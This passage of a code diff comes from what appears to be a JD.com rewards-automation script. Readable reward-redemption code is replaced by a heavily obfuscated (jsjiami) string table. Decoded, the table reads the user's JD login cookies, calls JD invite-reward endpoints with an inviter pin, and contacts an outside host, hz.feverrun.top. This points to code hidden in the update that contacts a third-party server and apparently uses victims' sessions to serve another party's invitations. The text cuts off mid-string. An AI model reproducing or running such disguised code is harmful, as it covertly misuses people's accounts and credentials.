== '0') { - if (type == 1) { - console.log(`当前兑换${data.rewardsInfo.successRewards['3'][0].rewardName}`); - } - } else if (data.subCode == '1403' || data.subCode == '1703') { - console.log(data.msg); - $.run = false; - } else { - console.log(data); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxe80e0=["\x73\x63\x65\x6E\x65\x69\x64","\x58\x4D\x46\x44\x48\x68\x35","","\x69\x73\x4E\x6F\x64\x65","\x70\x75\x73\x68","\x66\x6F\x72\x45\x61\x63\x68","\x6B\x65\x79\x73","\x4A\x44\x5F\x44\x45\x42\x55\x47","\x65\x6E\x76","\x66\x61\x6C\x73\x65","\x6C\x6F\x67","\x66\x69\x6C\x74\x65\x72","\x43\x6F\x6F\x6B\x69\x65\x4A\x44","\x67\x65\x74\x64\x61\x74\x61","\x43\x6F\x6F\x6B\x69\x65\x4A\x44\x32","\x63\x6F\x6F\x6B\x69\x65","\x6D\x61\x70","\x43\x6F\x6F\x6B\x69\x65\x73\x4A\x44","\x5B\x5D","\x4D\x4F\x46\x41\x4E\x47\x5F\x4E\x4F\x5F\x50\x49\x4E","\x64\x6F\x6E\x65","\x66\x69\x6E\x61\x6C\x6C\x79","\u274C\x20","\x6E\x61\x6D\x65","\x2C\x20\u5931\u8D25\x21\x20\u539F\u56E0\x3A\x20","\x21","\x63\x61\x74\x63\x68","\u3010\u63D0\u793A\u3011\u8BF7\u5148\u83B7\u53D6\u4EAC\u4E1C\u8D26\u53F7\u4E00\x63\x6F\x6F\x6B\x69\x65\x0A\u76F4\u63A5\u4F7F\u7528\x4E\x6F\x62\x79\x44\x61\u7684\u4EAC\u4E1C\u7B7E\u5230\u83B7\u53D6","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x62\x65\x61\x6E\x2F\x73\x69\x67\x6E\x49\x6E\x64\x65\x78\x2E\x61\x63\x74\x69\x6F\x6E","\x6D\x73\x67","\x6C\x65\x6E\x67\x74\x68","\x55\x73\x65\x72\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x69\x6E\x64\x65\x78","\x69\x73\x4C\x6F\x67\x69\x6E","\x6E\x69\x63\x6B\x4E\x61\x6D\x65","\x2A\x2A\x2A\x2A\x2A\x2A\u5F00\u59CB\u3010\u4EAC\u4E1C\u8D26\u53F7","\u3011","\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A","\u3010\u63D0\u793A\u3011\x63\x6F\x6F\x6B\x69\x65\u5DF2\u5931\u6548","\u4EAC\u4E1C\u8D26\u53F7","\x20","\x5C\x6E\u8BF7\u91CD\u65B0\u767B\u5F55\u83B7\u53D6\x5C\x6E\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x62\x65\x61\x6E\x2F\x73\x69\x67\x6E\x49\x6E\x64\x65\x78\x2E\x61\x63\x74\x69\x6F\x6E","\x63\x6F\x6F\x6B\x69\x65\u5DF2\u5931\u6548\x20\x2D\x20","\x5C\x6E\u8BF7\u91CD\u65B0\u767B\u5F55\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65","\x73\x65\x6E\x64\x4E\x6F\x74\x69\x66\x79","\x72\x61\x6E\x64\x6F\x6D","\x77\x61\x69\x74","\x69\x6E\x64\x65\x78\x4F\x66","\u8DF3\u8FC7\u9B54\u65B9\u5151\u6362\x3A\x20","\x67\x69\x66\x74\x50\x72\x6F\x6A\x65\x63\x74\x49\x64","\x70\x72\x6F\x6A\x65\x63\x74\x49\x64","\x67\x69\x66\x74\x43\x6F\x6E\x66\x69\x67","\x72\x65\x73\x75\x6C\x74","\x61\x63\x65\x78\x69\x6E\x70\x69\x6E\x30\x38\x32\x33","\x73\x75\x6D","\x33\x36\x37","\x65\x78\x63\x68\x61\x6E\x67\x65\x52\x65\x73\x74\x53\x63\x6F\x72\x65\x4D\x61\x70","\u5F53\u524D\u9B54\u65B9","\u4E2A","\x72\x75\x6E","\x73\x75\x62\x43\x6F\x64\x65","\x30","\x61\x73\x73\x69\x67\x6E\x6D\x65\x6E\x74\x4C\x69\x73\x74","\x61\x73\x73\x69\x67\x6E\x6D\x65\x6E\x74\x4E\x61\x6D\x65","\u788E\u7247\u5151\u5956","\x65\x78\x63\x68\x61\x6E\x67\x65\x52\x61\x74\x65","\u5F00\u59CB\x36\u9B54\u65B9\u5151\u6362","\x65\x6E\x63\x72\x79\x70\x74\x41\x73\x73\x69\x67\x6E\x6D\x65\x6E\x74\x49\x64","\u5F00\u59CB\x33\u9B54\u65B9\u5151\u6362","\u4EAC\u8C46","\u5F00\u59CB\x31\u9B54\u65B9\u5151\u6362","\u4E0D\u591F\u5151\u6362\uFF01\uFF01\uFF01","\u7F51\u7EDC\u5F02\u5E38","\x67\x65\x74\x49\x6E\x74\x65\x72\x61\x63\x74\x69\x6F\x6E\x48\x6F\x6D\x65\x49\x6E\x66\x6F","\x75\x36\x76\x74\x4C\x51\x37\x7A\x74\x78\x67\x79\x6B\x4C\x45\x72","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x67\x65\x74\x49\x6E\x74\x65\x72\x61\x63\x74\x69\x6F\x6E\x48\x6F\x6D\x65\x49\x6E\x66\x6F\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\x70\x61\x72\x73\x65","\x6C\x6F\x67\x45\x72\x72","\x70\x6F\x73\x74","\x71\x75\x65\x72\x79\x49\x6E\x74\x65\x72\x61\x63\x74\x69\x76\x65\x49\x6E\x66\x6F","\x71\x75\x65\x72\x79\x49\x6E\x74\x65\x72\x61\x63\x74\x69\x76\x65\x49\x6E\x66\x6F\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\x31","\x71\x75\x65\x72\x79\x49\x6E\x74\x65\x72\x61\x63\x74\x69\x76\x65\x52\x65\x77\x61\x72\x64\x49\x6E\x66\x6F","\x71\x75\x65\x72\x79\x49\x6E\x74\x65\x72\x61\x63\x74\x69\x76\x65\x52\x65\x77\x61\x72\x64\x49\x6E\x66\x6F\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\x51\x65\x49\x65\x78\x6B\x61\x46\x43\x35\x75\x4F\x54\x58\x65\x31\x48\x36\x38\x6B\x47\x77\x3D\x3D","\x6E\x6F\x77","\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E\x2C\x20\x74\x65\x78\x74\x2F\x70\x6C\x61\x69\x6E\x2C\x20\x2A\x2F\x2A","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x6E\x76\x69\x74\x65\x2D\x72\x65\x77\x61\x72\x64\x2E\x6A\x64\x2E\x63\x6F\x6D","\x7A\x68\x2D\x63\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x6E\x76\x69\x74\x65\x2D\x72\x65\x77\x61\x72\x64\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F","\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x49\x6E\x76\x69\x74\x65\x46\x72\x69\x65\x6E\x64\x41\x70\x69\x53\x65\x72\x76\x69\x63\x65\x26\x62\x6F\x64\x79\x3D\x7B\x22\x6D\x65\x74\x68\x6F\x64\x22\x3A\x22\x61\x74\x74\x65\x6E\x64\x49\x6E\x76\x69\x74\x65\x41\x63\x74\x69\x76\x69\x74\x79\x22\x2C\x22\x64\x61\x74\x61\x22\x3A\x7B\x22\x69\x6E\x76\x69\x74\x65\x72\x50\x69\x6E\x22\x3A\x22","\x22\x2C\x22\x63\x68\x61\x6E\x6E\x65\x6C\x22\x3A\x31\x2C\x22\x74\x6F\x6B\x65\x6E\x22\x3A\x22\x22\x2C\x22\x66\x72\x6F\x6E\x74\x65\x6E\x64\x49\x6E\x69\x74\x53\x74\x61\x74\x75\x73\x22\x3A\x22\x22\x7D\x7D\x26\x72\x65\x66\x65\x72\x65\x72\x3D\x2D\x31\x26\x65\x69\x64\x3D\x65\x69\x64\x49\x66\x33\x64\x64\x38\x31\x32\x31\x62\x37\x73\x64\x6D\x69\x42\x4C\x47\x64\x78\x52\x52\x34\x36\x4F\x6C\x57\x79\x68\x36\x32\x6B\x46\x41\x5A\x6F\x67\x54\x4A\x46\x6E\x59\x71\x71\x52\x6B\x77\x67\x72\x36\x33\x25\x32\x42\x64\x47\x6D\x4D\x6C\x63\x76\x37\x45\x51\x4A\x35\x76\x30\x48\x42\x69\x63\x38\x31\x78\x48\x58\x7A\x58\x4C\x77\x4B\x4D\x36\x66\x68\x33\x69\x39\x36\x33\x7A\x49\x61\x37\x59\x6D\x32\x76\x35\x65\x68\x6E\x77\x6F\x32\x42\x37\x75\x44\x4E\x39\x32\x51\x30\x26\x61\x69\x64\x3D\x26\x63\x6C\x69\x65\x6E\x74\x3D\x69\x6F\x73\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x31\x34\x2E\x34\x26\x6E\x65\x74\x77\x6F\x72\x6B\x54\x79\x70\x65\x3D\x77\x69\x66\x69\x26\x66\x70\x3D\x2D\x31\x26\x61\x70\x70\x69\x64\x3D\x6D\x61\x72\x6B\x65\x74\x2D\x74\x61\x73\x6B\x2D\x68\x35\x26\x5F\x74\x3D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x3F\x74\x3D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x73\x73\x69\x67\x6E\x6D\x65\x6E\x74\x2E\x6A\x64\x2E\x63\x6F\x6D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x73\x73\x69\x67\x6E\x6D\x65\x6E\x74\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x3F\x69\x6E\x76\x69\x74\x65\x72\x49\x64\x3D","\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x54\x61\x73\x6B\x49\x6E\x76\x69\x74\x65\x53\x65\x72\x76\x69\x63\x65\x26\x62\x6F\x64\x79\x3D\x7B\x22\x6D\x65\x74\x68\x6F\x64\x22\x3A\x22\x70\x61\x72\x74\x69\x63\x69\x70\x61\x74\x65\x49\x6E\x76\x69\x74\x65\x54\x61\x73\x6B\x22\x2C\x22\x64\x61\x74\x61\x22\x3A\x7B\x22\x63\x68\x61\x6E\x6E\x65\x6C\x22\x3A\x22\x31\x22\x2C\x22\x65\x6E\x63\x72\x79\x70\x74\x69\x6F\x6E\x49\x6E\x76\x69\x74\x65\x72\x50\x69\x6E\x22\x3A\x22","\x22\x2C\x22\x74\x79\x70\x65\x22\x3A\x31\x7D\x7D\x26\x61\x70\x70\x69\x64\x3D\x6D\x61\x72\x6B\x65\x74\x2D\x74\x61\x73\x6B\x2D\x68\x35\x26\x75\x75\x69\x64\x3D\x26\x5F\x74\x3D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F","\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x49\x6E\x76\x69\x74\x65\x46\x72\x69\x65\x6E\x64\x43\x68\x61\x6E\x67\x65\x41\x73\x73\x65\x72\x74\x73\x53\x65\x72\x76\x69\x63\x65\x26\x62\x6F\x64\x79\x3D","\x61\x74\x74\x65\x6E\x64\x49\x6E\x76\x69\x74\x65\x41\x63\x74\x69\x76\x69\x74\x79","\x26\x72\x65\x66\x65\x72\x65\x72\x3D\x2D\x31\x26\x65\x69\x64\x3D\x65\x69\x64\x49\x39\x62\x32\x39\x38\x31\x32\x30\x32\x66\x73\x65\x63\x38\x33\x69\x52\x57\x31\x6E\x54\x73\x4F\x56\x7A\x43\x6F\x63\x57\x64\x61\x33\x59\x48\x50\x4E\x34\x37\x31\x41\x59\x37\x38\x25\x32\x46\x51\x42\x68\x59\x62\x58\x65\x57\x74\x64\x67\x25\x32\x46\x33\x54\x43\x74\x56\x54\x4D\x72\x45\x31\x4A\x6A\x4D\x38\x53\x71\x74\x38\x66\x32\x54\x71\x46\x31\x5A\x35\x50\x25\x32\x46\x52\x50\x47\x6C\x7A\x41\x31\x64\x45\x52\x50\x30\x5A\x35\x62\x4C\x57\x64\x71\x35\x4E\x35\x42\x32\x56\x62\x42\x4F\x26\x61\x69\x64\x3D\x26\x63\x6C\x69\x65\x6E\x74\x3D\x69\x6F\x73\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x31\x34\x2E\x34\x2E\x32\x26\x6E\x65\x74\x77\x6F\x72\x6B\x54\x79\x70\x65\x3D\x77\x69\x66\x69\x26\x66\x70\x3D\x2D\x31\x26\x75\x75\x69\x64\x3D\x61\x62\x30\x34\x38\x30\x38\x34\x62\x34\x37\x64\x66\x32\x34\x38\x38\x30\x36\x31\x33\x33\x32\x36\x66\x65\x66\x66\x64\x66\x37\x65\x65\x65\x34\x37\x31\x34\x38\x38\x26\x6F\x73\x56\x65\x72\x73\x69\x6F\x6E\x3D\x31\x34\x2E\x34\x2E\x32\x26\x64\x5F\x62\x72\x61\x6E\x64\x3D\x69\x50\x68\x6F\x6E\x65\x26\x64\x5F\x6D\x6F\x64\x65\x6C\x3D\x69\x50\x68\x6F\x6E\x65\x31\x30\x2C\x32\x26\x61\x67\x65\x6E\x74\x3D\x2D\x31\x26\x70\x61\x67\x65\x43\x6C\x69\x63\x6B\x4B\x65\x79\x3D\x2D\x31\x26\x70\x6C\x61\x74\x66\x6F\x72\x6D\x3D\x33\x26\x6C\x61\x6E\x67\x3D\x7A\x68\x5F\x43\x4E\x26\x61\x70\x70\x69\x64\x3D\x6D\x61\x72\x6B\x65\x74\x2D\x74\x61\x73\x6B\x2D\x68\x35\x26\x5F\x74\x3D","\x7A\x68\x2D\x43\x4E\x2C\x7A\x68\x2D\x48\x61\x6E\x73\x3B\x71\x3D\x30\x2E\x39","\x67\x7A\x69\x70\x2C\x20\x64\x65\x66\x6C\x61\x74\x65\x2C\x20\x62\x72","\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x54\x61\x73\x6B\x49\x6E\x76\x69\x74\x65\x53\x65\x72\x76\x69\x63\x65\x26\x62\x6F\x64\x79\x3D","\x70\x61\x72\x74\x69\x63\x69\x70\x61\x74\x65\x49\x6E\x76\x69\x74\x65\x54\x61\x73\x6B","\x26\x61\x70\x70\x69\x64\x3D\x6D\x61\x72\x6B\x65\x74\x2D\x74\x61\x73\x6B\x2D\x68\x35\x26\x75\x75\x69\x64\x3D\x26\x5F\x74\x3D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x73\x73\x69\x67\x6E\x6D\x65\x6E\x74\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F","\x6C\x6F\x67\x53\x74\x72","\x64\x6F\x49\x6E\x74\x65\x72\x61\x63\x74\x69\x76\x65\x41\x73\x73\x69\x67\x6E\x6D\x65\x6E\x74","\x64\x6F\x49\x6E\x74\x65\x72\x61\x63\x74\x69\x76\x65\x41\x73\x73\x69\x67\x6E\x6D\x65\x6E\x74\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\u5151\u6362\u4E86\x3A\x20","\x72\x65\x77\x61\x72\x64\x4E\x61\x6D\x65","\x33","\x73\x75\x63\x63\x65\x73\x73\x52\x65\x77\x61\x72\x64\x73","\x72\x65\x77\x61\x72\x64\x73\x49\x6E\x66\x6F","\x31\x34\x30\x33","\x31\x37\x30\x33","\u5151\u6362\x3A\x20","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D","\x26\x62\x6F\x64\x79\x3D","\x26\x61\x70\x70\x69\x64\x3D\x63\x6F\x6E\x74\x65\x6E\x74\x5F\x65\x63\x6F\x6C\x6F\x67\x79\x26\x63\x6C\x69\x65\x6E\x74\x3D\x77\x68\x35\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x31\x2E\x30\x2E\x30","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x68\x35\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x6B\x65\x65\x70\x2D\x61\x6C\x69\x76\x65","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x68\x35\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x62\x61\x62\x65\x6C\x44\x69\x79\x2F\x5A\x65\x75\x73\x2F\x32\x62\x66\x33\x58\x45\x45\x79\x57\x47\x31\x31\x70\x51\x7A\x50\x47\x6B\x4B\x70\x4B\x58\x32\x47\x78\x4A\x7A\x32\x2F\x69\x6E\x64\x65\x78\x2E\x68\x74\x6D\x6C","\x61\x62\x63\x64\x65\x66\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39","\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39","\x66\x6C\x6F\x6F\x72","\x63\x68\x61\x72\x41\x74","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x71\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x75\x73\x65\x72\x5F\x6E\x65\x77\x2F\x69\x6E\x66\x6F\x2F\x47\x65\x74\x4A\x44\x55\x73\x65\x72\x49\x6E\x66\x6F\x55\x6E\x69\x6F\x6E\x3F\x73\x63\x65\x6E\x65\x76\x61\x6C\x3D\x32","\x77\x71\x2E\x6A\x64\x2E\x63\x6F\x6D","\x2A\x2F\x2A","\x4A\x44\x5F\x55\x53\x45\x52\x5F\x41\x47\x45\x4E\x54","\x55\x53\x45\x52\x5F\x41\x47\x45\x4E\x54","\x2E\x2F\x55\x53\x45\x52\x5F\x41\x47\x45\x4E\x54\x53","\x4A\x44\x55\x41","\x6A\x64\x61\x70\x70\x3B\x69\x50\x68\x6F\x6E\x65\x3B\x39\x2E\x34\x2E\x34\x3B\x31\x34\x2E\x33\x3B\x6E\x65\x74\x77\x6F\x72\x6B\x2F\x34\x67\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x69\x50\x68\x6F\x6E\x65\x3B\x20\x43\x50\x55\x20\x69\x50\x68\x6F\x6E\x65\x20\x4F\x53\x20\x31\x34\x5F\x33\x20\x6C\x69\x6B\x65\x20\x4D\x61\x63\x20\x4F\x53\x20\x58\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x36\x30\x35\x2E\x31\x2E\x31\x35\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x4D\x6F\x62\x69\x6C\x65\x2F\x31\x35\x45\x31\x34\x38\x3B\x73\x75\x70\x70\x6F\x72\x74\x4A\x44\x53\x48\x57\x4B\x2F\x31","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x68\x6F\x6D\x65\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x6D\x79\x4A\x64\x2F\x6E\x65\x77\x68\x6F\x6D\x65\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x73\x63\x65\x6E\x65\x76\x61\x6C\x3D\x32\x26\x75\x66\x63\x3D\x26","\x72\x65\x74\x63\x6F\x64\x65","\x64\x61\x74\x61","\x75\x73\x65\x72\x49\x6E\x66\x6F","\x68\x61\x73\x4F\x77\x6E\x50\x72\x6F\x70\x65\x72\x74\x79","\x6E\x69\x63\x6B\x6E\x61\x6D\x65","\x62\x61\x73\x65\x49\x6E\x66\x6F","\u4EAC\u4E1C\u670D\u52A1\u5668\u8FD4\u56DE\u7A7A\u6570\u636E","\x67\x65\x74","\x68\x74\x74\x70\x3A\x2F\x2F\x68\x7A\x2E\x66\x65\x76\x65\x72\x72\x75\x6E\x2E\x74\x6F\x70\x3A\x39\x39\x2F\x73\x68\x61\x72\x65\x2F\x67\x65\x74\x2F\x6B\x6F\x69\x6C\x6F\x67\x73\x3F\x66\x6C\x61\x67\x3D\x6D\x66\x5F\x65\x78","\x6A\x64\x61\x70\x70\x3B\x61\x6E\x64\x72\x6F\x69\x64\x3B\x31\x31\x2E\x31\x2E\x32\x3B\x6A\x64\x53\x75\x70\x70\x6F\x72\x74\x44\x61\x72\x6B\x4D\x6F\x64\x65\x2F\x30\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x4C\x69\x6E\x75\x78\x3B\x20\x41\x6E\x64\x72\x6F\x69\x64\x20\x31\x30\x3B\x20\x50\x43\x43\x4D\x30\x30\x20\x42\x75\x69\x6C\x64\x2F\x51\x4B\x51\x31\x2E\x31\x39\x31\x30\x32\x31\x2E\x30\x30\x32\x3B\x20\x77\x76\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x35\x33\x37\x2E\x33\x36\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x56\x65\x72\x73\x69\x6F\x6E\x2F\x34\x2E\x30\x20\x43\x68\x72\x6F\x6D\x65\x2F\x38\x39\x2E\x30\x2E\x34\x33\x38\x39\x2E\x37\x32\x20\x4D\x51\x51\x42\x72\x6F\x77\x73\x65\x72\x2F\x36\x2E\x32\x20\x54\x42\x53\x2F\x30\x34\x36\x30\x31\x31\x20\x4D\x6F\x62\x69\x6C\x65\x20\x53\x61\x66\x61\x72\x69\x2F\x35\x33\x37\x2E\x33\x36","\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF","\x63\x6F\x64\x65","\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78","\x78","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x72\x65\x70\x6C\x61\x63\x65","\x2E","\x5F","\x55\x41","\x6A\x64\x61\x70\x70\x3B\x69\x50\x68\x6F\x6E\x65\x3B\x31\x30\x2E\x35\x2E\x32\x3B","\x3B","\x3B\x6E\x65\x74\x77\x6F\x72\x6B\x2F\x77\x69\x66\x69\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x69\x50\x68\x6F\x6E\x65\x3B\x20\x43\x50\x55\x20\x69\x50\x68\x6F\x6E\x65\x20\x4F\x53\x20","\x20\x6C\x69\x6B\x65\x20\x4D\x61\x63\x20\x4F\x53\x20\x58\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x36\x30\x35\x2E\x31\x2E\x31\x35\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x3B\x73\x75\x70\x70\x6F\x72\x74\x4A\x44\x53\x48\x57\x4B\x2F\x31","\x6A\x64\x6C\x74\x61\x70\x70\x3B\x61\x6E\x64\x72\x6F\x69\x64\x3B\x33\x2E\x38\x2E\x31\x30\x3B\x31\x30\x3B\x6E\x65\x74\x77\x6F\x72\x6B\x2F\x77\x69\x66\x69\x3B\x6D\x6F\x64\x65\x6C\x2F\x4D\x49\x20\x38\x3B\x61\x64\x64\x72\x65\x73\x73\x69\x64\x2F\x31\x39\x36\x39\x39\x39\x38\x30\x35\x39\x3B\x61\x69\x64\x2F\x38\x35\x36\x36\x39\x37\x32\x64\x66\x64\x39\x61\x37\x39\x35\x64\x3B\x6F\x61\x69\x64\x2F\x34\x61\x38\x62\x37\x37\x33\x63\x33\x65\x33\x30\x37\x33\x38\x36\x3B\x6F\x73\x56\x65\x72\x2F\x32\x39\x3B\x61\x70\x70\x42\x75\x69\x6C\x64\x2F\x31\x34\x33\x36\x3B\x70\x73\x6E\x2F\x50\x68\x59\x62\x55\x74\x43\x73\x43\x4A\x6F\x20\x72\x20\x31\x62\x38\x68\x77\x78\x6A\x6E\x59\x38\x72\x45\x76\x35\x53\x38\x58\x43\x7C\x33\x38\x33\x3B\x70\x73\x71\x2F\x31\x34\x3B\x61\x64\x6B\x2F\x3B\x61\x64\x73\x2F\x3B\x70\x61\x70\x2F\x4A\x41\x32\x30\x32\x30\x5F\x33\x31\x31\x32\x35\x33\x31\x7C\x33\x2E\x38\x2E\x31\x30\x7C\x41\x4E\x44\x52\x4F\x49\x44\x20\x31\x30\x3B\x6F\x73\x76\x2F\x31\x30\x3B\x70\x76\x2F\x33\x37\x34\x2E\x31\x34\x3B\x6A\x64\x76\x2F\x30\x7C\x69\x6F\x73\x61\x70\x70\x7C\x74\x5F\x33\x33\x35\x31\x33\x39\x37\x37\x34\x7C\x6C\x69\x74\x65\x73\x68\x61\x72\x65\x7C\x43\x6F\x70\x79\x55\x52\x4C\x7C\x31\x36\x30\x39\x33\x30\x36\x35\x39\x30\x31\x37\x35\x7C\x31\x36\x30\x39\x33\x30\x36\x35\x39\x36\x3B\x72\x65\x66\x2F\x63\x6F\x6D\x2E\x6A\x64\x2E\x6A\x64\x6C\x69\x74\x65\x2E\x6C\x69\x62\x2E\x6A\x64\x6C\x69\x74\x65\x6D\x65\x73\x73\x61\x67\x65\x2E\x76\x69\x65\x77\x2E\x61\x63\x74\x69\x76\x69\x74\x79\x2E\x4D\x65\x73\x73\x61\x67\x65\x43\x65\x6E\x74\x65\x72\x4D\x61\x69\x6E\x41\x63\x74\x69\x76\x69\x74\x79\x3B\x70\x61\x72\x74\x6E\x65\x72\x2F\x6A\x73\x78\x64\x6C\x79\x71\x6A\x30\x39\x3B\x61\x70\x70\x72\x70\x64\x2F\x4D\x65\x73\x73\x61\x67\x65\x43\x65\x6E\x74\x65\x72\x5F\x4D\x65\x73\x73\x61\x67\x65\x4D\x65\x72\x67\x65\x3B\x65\x75\x66\x76\x2F\x31\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x4C\x69\x6E\x75\x78\x3B\x20\x41\x6E\x64\x72\x6F\x69\x64\x20\x31\x30\x3B\x20\x4D\x49\x20\x38\x20\x42\x75\x69\x6C\x64\x2F\x51\x4B\x51\x31\x2E\x31\x39\x30\x38\x32\x38\x2E\x30\x30\x32\x3B\x20\x77\x76\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x35\x33\x37\x2E\x33\x36\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x56\x65\x72\x73\x69\x6F\x6E\x2F\x34\x2E\x30\x20\x43\x68\x72\x6F\x6D\x65\x2F\x36\x36\x2E\x30\x2E\x33\x33\x35\x39\x2E\x31\x32\x36\x20\x4D\x51\x51\x42\x72\x6F\x77\x73\x65\x72\x2F\x36\x2E\x32\x20\x54\x42\x53\x2F\x30\x34\x35\x31\x34\x30\x20\x4D\x6F\x62\x69\x6C\x65\x20\x53\x61\x66\x61\x72\x69\x2F\x35\x33\x37\x2E\x33\x36","\x31\x32\x2E\x30","\x31\x32\x2E\x31","\x31\x32\x2E\x32","\x31\x32\x2E\x33","\x31\x32\x2E\x34","\x31\x32\x2E\x35","\x31\x33\x2E\x30","\x31\x33\x2E\x31","\x31\x33\x2E\x32","\x31\x33\x2E\x33","\x31\x33\x2E\x34","\x31\x33\x2E\x35","\x31\x33\x2E\x36","\x31\x33\x2E\x37","\x31\x34\x2E\x30","\x31\x34\x2E\x31","\x31\x34\x2E\x32","\x31\x34\x2E\x33","\x31\x34\x2E\x34","\x31\x34\x2E\x35","\x31\x34\x2E\x36","\x31\x34\x2E\x37","\x31\x34\x2E\x38","\x31\x35\x2E\x30","\x31\x35\x2E\x31","\x31\x35\x2E\x32","\x31\x35\x2E\x33","\x6F\x62\x6A\x65\x63\x74","\u4EAC\u4E1C\u670D\u52A1\u5668\u8BBF\u95EE\u6570\u636E\u4E3A\u7A7A\uFF0C\u8BF7\u68C0\u67E5\u81EA\u8EAB\u8BBE\u5907\u7F51\u7EDC\u60C5\u51B5","\x73\x74\x72\x